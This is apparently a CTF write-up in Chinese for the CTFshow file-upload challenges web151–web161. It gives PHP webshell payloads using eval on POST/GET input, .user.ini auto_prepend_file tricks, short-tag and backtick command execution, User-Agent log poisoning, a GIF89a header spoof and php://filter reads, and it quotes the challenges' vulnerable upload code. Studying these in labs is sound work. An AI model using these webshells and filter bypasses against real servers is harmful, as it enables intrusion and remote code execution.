CTFSHOW-文件上传
文件上传手段
...
web151
前端过滤
前端过滤,抓包修改后缀,连接获取flag
查找得到
web152
后端不能单一校验
跟上一题一样的方法
但是这一题主要是考查单一对MIME的检测(Content-Type),全面的Type如下
text/plain
text/html
text/css
text/javascript
image/jpeg
image/png
image/gif
image/svg+xml
audio/mpeg
audio/wav
audio/ogg
video/mp4
video/ogg
video/webm
application/json
application/xml
application/javascript
application/pdf
application/octet-stream
application/x-www-form-urlencoded
multipart/form-data
font/woff
font/woff2
font/ttf
application/zip
application/gzip
application/vnd.ms-excel
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
web153
后端不能单一校验
常规方法不行了
auto_append_file = "2.png"
//auto_prepend_file 是 PHP 中的一个配置指令,用于指定一个 PHP 文件,该文件会在每个 PHP 脚本执行之前自动包含(即前置加载)。这个功能通常用于在多个脚本中共享一些公共代码,比如初始化设置、加载库文件、安全检查等
上传.user.ini
.user.ini在nginx或者Apache都可以用
**关于 **
.user.ini
文件
.user.ini
是一种配置文件,通常用于 PHP 项目中,用于覆盖或补充服务器的主配置文件(如php.ini
)中的设置。它允许开发者为特定目录或项目自定义 PHP 配置,而无需修改全局的php.ini
文件。
.user.ini
的作用
- 局部配置:为特定目录或项目设置 PHP 配置。
- 灵活性:无需修改服务器的主配置文件(
php.ini
),避免影响其他项目。- 便捷性:适合在共享主机环境中使用,开发者没有权限修改全局配置时。
访问index.php
蚁剑直接连,找到flag
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-24 21:46:57
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
Web154
后端不能单二校验
上传png后回应文件不合规,我们可以尝试短链接
<? @eval($_POST['attack']);?>
//<?phP @eval($_POST['attack']);?>
//<?= eval($_POST['attack']);?>
上传
auto_prepend_file=mum.png
short_open_tag = On
跟上一题一样,直接连接可以拿到flag
查看过滤,多了一个匹配PHP字符的步骤
<?php
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(strrpos($content, "php")==FALSE){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>3,"msg"=>"文件内容不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
web155
后端不能单三校验
过滤了大写绕过,我们可以继续采用上一题的短标签绕过
web156
再次执行上面的方法发现不放行
ban了[]符号
可以替换成{}符号
web157
以往的方法都走不通,ban了{},[],,,发现连;号都过滤了
当只有一句的话,后面的;可以不加
<?= system("cat ../fla*")?>
上传.user.ini
访问index.php
web158
单六检测
看了一下同样的方法可以使用
web159
**在前两题的基础上过滤了 **()
,我们没法使用命令执行函数
<?= `cat ../fl*`?>
web160
这个过滤更加严格,这个题的思路我学习了一下是这样的
利用日志包含
**nginx 默认日志地址为 **
/var/log/nginx/access.log
- 上传mum.png,
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
- 上传.user.ini
auto_prepend_file=shell.png
- 修改UA
<?php @eval($_GET["attack"]);?>
- 连接
web161
增加了对图片头的检测
可以采用上一题的思路
同时也可以,利用伪协议把flag.php带出来
GIF89a
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.ph"."p"?>
GIF89a
auto_prepend_file=mum.png